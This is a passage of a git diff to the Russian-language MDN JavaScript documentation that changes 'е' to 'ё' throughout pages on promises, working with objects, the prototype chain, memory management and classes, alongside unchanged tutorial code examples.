          Можно продолжить цепочку вызовов после ошибки, т. е. после catch, что полезно для выполнения новых действий даже после того, как действие вернет ошибку в цепочке вызовов. Ниже приведен пример:

          +

          Можно продолжить цепочку вызовов после ошибки, т. е. после catch, что полезно для выполнения новых действий даже после того, как действие вернёт ошибку в цепочке вызовов. Ниже приведён пример:

          new Promise((resolve, reject) => {
     console.log('Начало');
@@ -221,7 +221,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);Композиция
 
-
          {{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклоненные промисы соответственно. Это иногда бывает полезно.
          
+
          {{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклонённые промисы соответственно. Это иногда бывает полезно.
          
 
 
          {{jsxref("Promise.all()")}} и {{jsxref("Promise.race()")}} - два метода запустить асинхронные операции параллельно.
          
 
@@ -236,7 +236,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);const applyAsync = (acc,val) => acc.then(val);
 const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));
          -

          composeAsync функция примет любое количество функций в качестве аргументов и вернет новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:

          +

          composeAsync функция примет любое количество функций в качестве аргументов и вернёт новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:

          const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
 transformData(data);
          @@ -249,7 +249,7 @@ transformData(data);

          Порядок выполнения

          -

          Чтобы избежать сюрпризов, функции, переданные в then никогда не будут вызваны синхронно, даже с уже разрешенным промисом:

          +

          Чтобы избежать сюрпризов, функции, переданные в then никогда не будут вызваны синхронно, даже с уже разрешённым промисом:

          Promise.resolve().then(() => console.log(2));
 console.log(1); // 1, 2
          @@ -264,9 +264,9 @@ console.log(1); // 1, 2, 3, 4

          Вложенность

          -

          Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите распространенные ошибки.

          +

          Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите распространённые ошибки.

          -

          Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это дает большую точность в извлечение ошибок:

          +

          Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это даёт большую точность в извлечение ошибок:

          doSomethingCritical()
 .then(result => doSomethingOptional()
@@ -291,7 +291,7 @@ doSomething().then(function(result) {
 }).then(() => doFourthThing());
 // Забыл закончить цепочку методом catch
          -

          Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаем промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает doFourthThing() не будет ждать doSomethingElse() или doThirdThing() пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.

          +

          Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаём промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает doFourthThing() не будет ждать doSomethingElse() или doThirdThing() пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.

          Вторая ошибка это излишняя вложенность, включая первую ошибку. Вложенность также ограничивает область видимости внутренних обработчиков ошибок, если это не то чего хотел разработчик, это может привести к необработанным ошибкам. Примером этого является пример как не нужно создавать обещания, который комбинирует вложенность с чрезмерным использованием конструктора обещаний для оборачивания кода который уже использует промисы.

          @@ -307,9 +307,9 @@ doSomething().then(function(result) { .then(() => doFourthThing()) .catch(error => console.log(error)); -

          Обратите внимание что () => x  это сокращенная форма () => { return x; }.

          +

          Обратите внимание что () => x  это сокращённая форма () => { return x; }.

          -

          Теперь у нас имеется единственная определенная цепочка с правильной обработкой ошибок.

          +

          Теперь у нас имеется единственная определённая цепочка с правильной обработкой ошибок.

          Использование async/await предотвращает большинство, если не все вышеуказанные ошибки—но взамен появляется другая частая ошибка—забыть ключевое слово await.

          @@ -318,5 +318,5 @@ doSomething().then(function(result) { diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html index 88742ac122..ee94429f46 100644 --- a/files/ru/web/javascript/guide/working_with_objects/index.html +++ b/files/ru/web/javascript/guide/working_with_objects/index.html @@ -11,11 +11,11 @@ translation_of: Web/JavaScript/Guide/Working_with_Objects

          Объекты в JavaScript, как и во многих других языках программирования, похожи на объекты реальной жизни. Концепцию объектов JavaScript легче понять, проводя параллели с реально существующими в жизни объектами.

          -

          В JavaScript объект — это самостоятельная единица, имеющая свойства и определенный тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.

          +

          В JavaScript объект — это самостоятельная единица, имеющая свойства и определённый тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.

          Объекты и свойства

          -

          В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закрепленную за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:

          +

          В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закреплённую за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:

          objectName.propertyName
@@ -30,7 +30,7 @@ myCar.model = "Mustang";
 myCar.year = 1969;
          -

          Неопределенные свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).

          +

          Неопределённые свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).

          myCar.color; // undefined
          @@ -58,7 +58,7 @@ myObj[""] = "Even an empty string"; console.log(myObj); -

          Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведенном выше коде, когда ключ obj добавляется в myObj, JavaScript вызывает метод obj.toString () и использует эту результирующую строку в качестве нового ключа.

          +

          Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведённом выше коде, когда ключ obj добавляется в myObj, JavaScript вызывает метод obj.toString () и использует эту результирующую строку в качестве нового ключа.

          Вы также можете получить доступ к свойствам, используя значение строки, которое хранится в переменной:

          @@ -71,7 +71,7 @@ myCar[propertyName] = "Mustang";
          -

          Вы можете пользоваться квадратными скобками в конструкции for...in чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаете в нее сам объект и его имя как аргументы функции:

          +

          Вы можете пользоваться квадратными скобками в конструкции for...in чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаёте в неё сам объект и его имя как аргументы функции:

          function showProps(obj, objName) {
   var result = "";
@@ -137,12 +137,12 @@ myCar.year = 1969

          Если объект создан при помощи инициализатора объектов на высшем уровне скрипта, то JavaScript интерпретирует объект каждый раз, когда анализирует выражение, содержащее объект, записанный как литерал. Плюс, если пользоваться функцией инициализатором, то он будет создаваться каждый раз, когда функция вызывается.

          -

          Следующая инструкция создает объект и назначает его переменной x, когда выражение cond истинно.

          +

          Следующая инструкция создаёт объект и назначает его переменной x, когда выражение cond истинно.

          if (cond) var x = {hi: "there"};
          -

          Следующий пример создает объект myHonda с тремя свойствами. Заметьте, что свойство engine — это также объект со своими собственными свойствами.

          +

          Следующий пример создаёт объект myHonda с тремя свойствами. Заметьте, что свойство engine — это также объект со своими собственными свойствами.

          var myHonda = {
   color: "red",
@@ -183,7 +183,7 @@ myCar.year = 1969
          var mycar = new Car("Eagle", "Talon TSi", 1993);
          -

          Эта инструкция создает объект типа Car со ссылкой mycar и присваивает определенные значения его свойствам. Значением mycar.make станет строка "Eagle", mycar.year — это целое число 1993, и так далее.

          +

          Эта инструкция создаёт объект типа Car со ссылкой mycar и присваивает определённые значения его свойствам. Значением mycar.make станет строка "Eagle", mycar.year — это целое число 1993, и так далее.

          Вы можете создать столько объектов car, сколько нужно, просто вызывая  new. Например:

          @@ -246,11 +246,11 @@ var Animal = { } }; -// Создаем объект Animal +// Создаём объект Animal var animal1 = Object.create(Animal); animal1.displayType(); // Выведет:Invertebrates -// Создаем объект Animal и присваиваем ему type = Fishes +// Создаём объект Animal и присваиваем ему type = Fishes var fish = Object.create(Animal); fish.type = 'Fishes'; fish.displayType(); // Выведет:Fishes @@ -263,13 +263,13 @@ fish.displayType(); // Выведет:Fishes

          В JavaScript 1.0 вы можете сослаться на свойства объекта либо по его имени, либо по его порядковому индексу. В JavaScript 1.1 и позже, если вы изначально определили свойство по имени, вы всегда должны ссылаться на него по его имени, и если вы изначально определили свойство по индексу, то должны ссылаться на него по его индексу.

          -

          Это ограничение налагается когда вы создаете объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом Car ) и когда вы определяете индивидуальные свойства явно (например, myCar.color = "red"). Если вы изначально определили свойство объекта через индекс, например myCar[5] = "25 mpg", то впоследствии сослаться на это свойство можно только так myCar[5].

          +

          Это ограничение налагается когда вы создаёте объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом Car ) и когда вы определяете индивидуальные свойства явно (например, myCar.color = "red"). Если вы изначально определили свойство объекта через индекс, например myCar[5] = "25 mpg", то впоследствии сослаться на это свойство можно только так myCar[5].

          Исключение из правил — объекты, отображаемые из HTML, например массив forms. Вы всегда можете сослаться на объекты в этих массивах или используя их индекс (который основывается на порядке появления в HTML документе), или по их именам (если таковые были определены). Например, если второй html-тег <FORM> в документе имеет значение атрибута NAME равное "myForm", вы можете сослаться на эту форму вот так: document.forms[1] или document.forms["myForm"] или document.myForm.

          Определение свойств для типа объекта

          -

          Вы можете добавить свойство к ранее определенному типу объекта воспользовавшись специальным свойством prototype. Через prototype создается свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство color ко всем объектам типа car, а затем присваивая значение свойству color объекта car1.

          +

          Вы можете добавить свойство к ранее определённому типу объекта воспользовавшись специальным свойством prototype. Через prototype создаётся свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство color ко всем объектам типа car, а затем присваивая значение свойству color объекта car1.

          Car.prototype.color = null;
 car1.color = "black";
@@ -297,7 +297,7 @@ var myObj = {
 
          object.methodname(params);
 
          
 
-
          Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определенных объектов car. Например,
          
+
          Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определённых объектов car. Например,
          
 
 
          function displayCar() {
   var result = "A Beautiful " + this.year + " " + this.make
@@ -359,9 +359,9 @@ car2.displayCar();
 
 
          Определение геттеров и сеттеров
          
 
-
          Геттер (от англ. get - получить) — это метод, который получает значение определенного свойства. Сеттер (от англ. set — присвоить) — это метод, который присваивает значение определенному свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определенных вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.
          
+
          Геттер (от англ. get - получить) — это метод, который получает значение определённого свойства. Сеттер (от англ. set — присвоить) — это метод, который присваивает значение определённому свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определённых вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.
          
 
-
          Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определенном пользователем:
          
+
          Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определённом пользователем:
          
 
 
          var o = {
   a: 7,
@@ -386,7 +386,7 @@ console.log(o.a); // 25
          
  
        • o.c — сеттер, который присваивает значение o.a половине значения которое передано в o.c
          •
        -

        Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et propertyName() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определенными именами, используйте метод propertyName() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определёнными именами, используйте метод Object.defineProperty (или его устаревший аналог Object.prototype.__defineGetter__).

        @@ -450,7 +450,7 @@ myobj.b = 12; delete myobj.a; -

        Вы также можете воспользоваться delete чтобы удалить глобальную переменную, если ключевое слово var не было использовано при ее объявлении:

        +

        Вы также можете воспользоваться delete чтобы удалить глобальную переменную, если ключевое слово var не было использовано при её объявлении:

        g = 17;
 delete g;
@@ -460,25 +460,25 @@ delete g;
 
 
        Сравнение объектов
        
 
-
        В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернет true.
        
+
        В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернёт true.
        
 
 
        // Две переменных ссылаются на два объекта с одинаковыми свойствами
 var fruit = {name: 'apple'};
 var fruitbear = {name: 'apple'};
 
-fruit == fruitbear; // вернет false
-fruit === fruitbear; // вернет false
        
+fruit == fruitbear; // вернёт false
+fruit === fruitbear; // вернёт false
        // Две переменные ссылаются на один общий объект
 var fruit = {name: 'apple'};
 var fruitbear = fruit;  // присвоим переменной fruitbear ссылку на объект fruit
 
 // теперь fruitbear и fruit ссылаются на один и тот же объект
-fruit == fruitbear; // вернет true
-fruit === fruitbear; // вернет true
        +fruit == fruitbear; // вернёт true +fruit === fruitbear; // вернёт true
        fruit.name = 'grape';
-console.log(fruitbear);    // вернет { name: "grape" } вместо { name: "apple" }
        +console.log(fruitbear); // вернёт { name: "grape" } вместо { name: "apple" }

        Подробнее смотрите Операторы сравнения.

        diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html index d7c70db6d0..0e29c2efb4 100644 --- a/files/ru/web/javascript/index.html +++ b/files/ru/web/javascript/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript

        JavaScript® (часто просто JS) — это легковесный, интерпретируемый или JIT-компилируемый, объектно-ориентированный язык с {{Glossary("First-class_Function", "функциями первого класса")}}. Наиболее широкое применение находит как язык сценариев веб-страниц, но также используется и в других программных продуктах, например, node.js или Apache CouchDB. JavaScript это {{Glossary("Prototype-based_programming", "прототипно-ориентированный")}}, мультипарадигменный язык с динамической типизацией, который поддерживает объектно-ориентированный, императивный и декларативный (например, функциональное программирование) стили программирования. Подробнее о JavaScript.

        -

        Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвященных Веб-API и DOM.

        +

        Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвящённых Веб-API и DOM.

        Стандартом языка JavaScript является ECMAScript. По состоянию на 2012, все современные браузеры полностью поддерживают ECMAScript 5.1. Старые версии браузеров поддерживают по крайней мере - ECMAScript 3. 17 июня 2015 года состоялся выпуск шестой версии ECMAScript. Эта версия официально называется ECMAScript 2015, которую чаще всего называют ECMAScript 2015 или просто ES2015. С недавнего времени стандарты ECMAScript выпускаются ежегодно. Эта документация относится к последней версии черновика, которой является ECMAScript 2018.

        @@ -47,7 +47,7 @@ translation_of: Web/JavaScript
        Асинхронный JavaScript
        Обсуждение асинхронного JavaScript: почему это так важно, как эта возможность языка может использована для обработки потенциальных блокирующих операций, как, например получение данных с сервера.
        Клиентские (браузерные) веб-API
        -
        Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдете без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространенные API, которые вам встретятся при разработке.
        +
        Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдёте без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространённые API, которые вам встретятся при разработке.

        Руководство по JavaScript

        diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index bf82041c88..5ed538ca47 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain

        Наследование свойств

        Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми собственными свойствами). Каждый объект содержит ссылку на свой объект-прототип.
        - При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведется до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.

        + При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.

        // В этом примере someObject.[[Prototype]] означает прототип someObject.
 // Это упрощённая нотация (описанная в стандарте ECMAScript).
@@ -209,7 +209,7 @@ var square = new Square(2);

        Одной из частых ошибок является расширение Object.prototype или других базовых прототипов.

        -

        Такой подход называется monkey patching и нарушает принцип инкапсуляции. Несмотря на то, что ранее он использовался в таких широко распространенных фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.

        +

        Такой подход называется monkey patching и нарушает принцип инкапсуляции. Несмотря на то, что ранее он использовался в таких широко распространённых фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.

        Единственным оправданием расширения базовых прототипов могут являться лишь полифилы - эмуляторы новой функциональности (например, Array.forEach) для не поддерживающих её реализаций языка в старых веб-браузерах.

        diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html index 8402d6cecb..70b2b62064 100644 --- a/files/ru/web/javascript/javascript_technologies_overview/index.html +++ b/files/ru/web/javascript/javascript_technologies_overview/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

        Введение

        -

        Если HTML определяет структуру и контент веб-страницы, а CSS задает формат и внешний вид, то JavaScript добавляет интерактивность и создает богатые веб-приложения. 

        +

        Если HTML определяет структуру и контент веб-страницы, а CSS задаёт формат и внешний вид, то JavaScript добавляет интерактивность и создаёт богатые веб-приложения. 

        Однако, под общим термином "JavaScript", в контексте веб-браузера, понимаются несколько очень разных вещей. Одна из них - это базовый язык программирования (ECMAScript), а другая - коллекция Web APIs, включая DOM (Объектно-ориентированная модель документа).

        @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

        Браузерная поддержка

        -

        На октябрь 2016, текущие версии основы веб-браузеров включали ECMAScript 5.1 и ECMAScript 2015, но более старые версии (все еще находящиеся в использовании) реализуют только ECMAScript 5.

        +

        На октябрь 2016, текущие версии основы веб-браузеров включали ECMAScript 5.1 и ECMAScript 2015, но более старые версии (все ещё находящиеся в использовании) реализуют только ECMAScript 5.

        Будущее

        @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

        API по интернационализации

        -

        Спецификация ECMAScript для API по интернационализации - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведется в документации Intl object. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают ее реализацию.

        +

        Спецификация ECMAScript для API по интернационализации - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведётся в документации Intl object. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают её реализацию.

        DOM APIs

        @@ -55,15 +55,15 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
        • Структуру документа, древовидную модель, и архитектуру событий DOM в ядре DOM: Node, Element, DocumentFragment, Document, DOMImplementation, Event, EventTarget, …
          • -
        • Менее строгое определение архитектуры событий DOM, также как и определенные события DOM.
          • +
        • Менее строгое определение архитектуры событий DOM, также как и определённые события DOM.
        • Другие вещи, такие как DOM Traversal и DOM Range.
        -

        С точки зрения ECMAScript, объекты определенные в спецификации DOM называются объектами среды исполнения ("host objects").

        +

        С точки зрения ECMAScript, объекты определённые в спецификации DOM называются объектами среды исполнения ("host objects").

        HTML DOM

        -

        HTML, это язык разметки Web, который определен в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the meaning of elements. The HTML DOM includes such things as the className property on HTML elements, or APIs such as {{ domxref("document.body") }}.

        +

        HTML, это язык разметки Web, который определён в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the meaning of elements. The HTML DOM includes such things as the className property on HTML elements, or APIs such as {{ domxref("document.body") }}.

        The HTML specification also defines restrictions on documents; for example, it requires all children of a ul element, which represents an unordered list, to be li elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.

        @@ -82,4 +82,4 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview

        Каждый разработчик сталкивавшийся с DOM понимает как там все безнадёжно. Реализация той иной функциональности может отличаться, а следовательно и поведение. Главной причиной этого послужило то, что само описание спецификации DOM, было недостаточно ясным и подробным для разработчиков браузеров. Кроме того разные производители браузеров добавили несовместимые функциональности в своих браузеры или функциональности перекрывающие друг друга (например модель событий в IE). В данный момент консорциум W3C и частично WHATWG пытаются описать детально поведение тех или иных функций, чтобы улучшить совместимость между браузерами. Следуя этой тенденции, можно надеяться что браузеры улучшат свои реализации основываясь на этих спецификациях.

        -

        Наиболее общий, но возможно не самый надежный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространенные из них это jQuery и prototype.

        +

        Наиболее общий, но возможно не самый надёжный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространённые из них это jQuery и prototype.

        diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html index e96654a789..8d223226ca 100644 --- a/files/ru/web/javascript/language_resources/index.html +++ b/files/ru/web/javascript/language_resources/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Language_Resources ---

        {{JsSidebar}}

        -

        ECMAScript это язык программирования лежащий в основе JavaScript. ECMAScript стандартизирован в спецификации ECMA-262, организацией по стандартам Ecma International . Далее в таблице перечислены утвержденные стандарты ECMAScript:

        +

        ECMAScript это язык программирования лежащий в основе JavaScript. ECMAScript стандартизирован в спецификации ECMA-262, организацией по стандартам Ecma International . Далее в таблице перечислены утверждённые стандарты ECMAScript:

        Table 4.3 Результаты выполнения регулярного выражения
        myRe lastIndexИндекс с которого начнется след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)Индекс с которого начнётся след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.) 5
        {{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}Создает строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.Создаёт строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.
        {{jsxref("String.split", "split")}}
        @@ -59,7 +59,7 @@ translation_of: Web/JavaScript/Language_Resources
        -

        Узнать больше о истории ECMAScript можно на странице википедии посвященной ECMAScript.

        +

        Узнать больше о истории ECMAScript можно на странице википедии посвящённой ECMAScript.

        Вы можете принять участие или просто отслеживать работу над следующей версией стандарта, которая разрабатывается под кодовым названием"Harmony", с помощью публично-доступного вики и es-discuss список рассылки привязанного к ecmascript.org.

        @@ -75,7 +75,7 @@ translation_of: Web/JavaScript/Language_Resources

        Смотри также

        diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index bcdf39cd3d..79aafad29e 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Memory_Management

        Введение

        -

        Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как malloc() и free(). В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется сборкой мусора . Слово "автоматически" является источником путаницы и зачастую создает у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.

        +

        Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как malloc() и free(). В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется сборкой мусора . Слово "автоматически" является источником путаницы и зачастую создаёт у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.

        Жизненный цикл памяти

        diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 7d7fe14e82..ea52fc5371 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -70,7 +70,7 @@ try {

        ValidationError классу не нужен явный (explicit) конструктор, потому что не требуется инициализация. Затем конструктор по умолчанию позаботится о инициализации родительского класса Error переданным ему аргументом.

        -

        Однако, если определен ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя super. К примеру:

        +

        Однако, если определён ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя super. К примеру:

        class ValidationError extends Error {
 
@@ -109,7 +109,7 @@ try {
 
        class Square extends Polygon {
   constructor(length) {
     // Здесь вызывается конструктор родительского класса,
-    // в который передается length в качестве аргументов,
+    // в который передаётся length в качестве аргументов,
     // соответствующим полям width и height класса Polygon
     super(length, length);
     // Заметка: В производном классе, super() должен вызываться перед тем как
@@ -152,7 +152,7 @@ console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //
 let newInstance = new Square();
 console.log(newInstance.name); //Polygon
        
 
-
        Здесь прототип Square класса изменен, но в то же время constructor предыдущего базового класса Polygon вызывается при создании нового экземпляра Square.
        
+
        Здесь прототип Square класса изменён, но в то же время constructor предыдущего базового класса Polygon вызывается при создании нового экземпляра Square.
        
 
 
        Constructors по умолчанию.
        
 
@@ -190,7 +190,7 @@ console.log(newInstance.name); //Polygon

        Совместимость с браузерами

        - +

        {{Compat("javascript.classes.constructor")}}

        diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html index df642e9e23..d774cc72b0 100644 --- a/files/ru/web/javascript/reference/classes/extends/index.html +++ b/files/ru/web/javascript/reference/classes/extends/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Classes/extends 
        class Square extends Polygon {
   constructor(length) {
     // Здесь вызывается конструктор родительского класса,
-    // в который передается свойство length в качестве
+    // в который передаётся свойство length в качестве
     // аргументов, соответствующих полям width и height,
     // класса Polygon
     super(length, length);
diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html
index 8711331ffc..8b64f585f0 100644
--- a/files/ru/web/javascript/reference/classes/index.html
+++ b/files/ru/web/javascript/reference/classes/index.html
@@ -68,7 +68,7 @@ console.log(Rectangle.name);
 
 
        Тело класса и задание методов
        
